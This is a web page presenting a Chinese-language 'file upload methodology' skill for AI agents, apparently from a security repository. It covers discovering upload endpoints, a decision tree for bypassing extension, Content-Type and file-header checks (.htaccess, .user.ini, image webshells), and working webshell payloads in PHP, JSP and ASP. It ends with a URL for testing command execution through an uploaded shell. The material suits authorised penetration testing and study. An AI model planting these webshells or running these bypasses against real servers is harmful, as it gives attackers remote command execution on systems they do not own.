File upload methodology

From wgpsec/AboutSecurity · View interactive version

File upload methodology is an AI agent skill from the GitHub repository wgpsec/AboutSecurity. 任意文件上传的检测、绕过和利用。当目标有上传功能(头像、附件、导入)、multipart表单、文件管理接口时使用。包含扩展名/Content-Type/Magic Bytes三层绕过、.htaccess覆盖、.user.ini+auto_prepend_file、图片马二次渲染绕过、ZIP解压利用、上传路径猜解方法

How to use this skill

Skill file

文件上传漏洞方法论

⛔ 深入参考(必读)


Phase 0: 上传功能发现与分析(最先执行!)

  1. 寻找 <form enctype="multipart/form-data"> 或 <input type="file">
  2. 常见端点:/upload, /api/upload, /avatar, /import
  3. 关键收集:允许的文件类型、上传后存储路径、服务器技术栈(PHP/Java/Python)

陷阱:前端 JS 验证可以直接绕过,真正的限制在后端。

Phase 1: 基础上传测试

  1. 先上传正常文件(.txt)确认功能正常,记录返回的文件路径
  2. 访问上传的文件 URL — 确认可访问
  3. 上传 .php 文件,观察是否被拒绝

路径猜解:/uploads/, /upload/, /files/, /static/uploads/, /images/

Phase 2: 绕过决策树

上传被拒绝?
├─ 扩展名限制(黑名单)→ .phtml/.php5/大小写/.php./双写 → [references/upload-bypass.md](references/upload-bypass.md)
├─ 扩展名限制(白名单)→ .htaccess 覆盖(Apache)或 .user.ini(通用)→ [references/upload-bypass.md](references/upload-bypass.md)
├─ Content-Type 限制 → 改为 image/jpeg
├─ 文件头检查 → GIF89a + webshell
├─ 二次渲染检查 → 图片马(GIF 优先)→ [references/upload-bypass.md](references/upload-bypass.md)
└─ 三层都限制 → 组合绕过:扩展名 + Content-Type + 文件头

Phase 3: Webshell Payload

PHP(最常见):

<?php system($_GET['cmd']); ?>

精简版(绕过关键字):<?=$_GET[1]?>

JSP: <%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

ASP: <%eval request("cmd")%>

上传后验证

http://target/uploads/shell.php?cmd=id

陷阱:访问 .php 返回源代码 → 该目录禁止执行,需要路径穿越或 .htaccess。

注意事项

.htaccess 攻击

上传≠执行

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.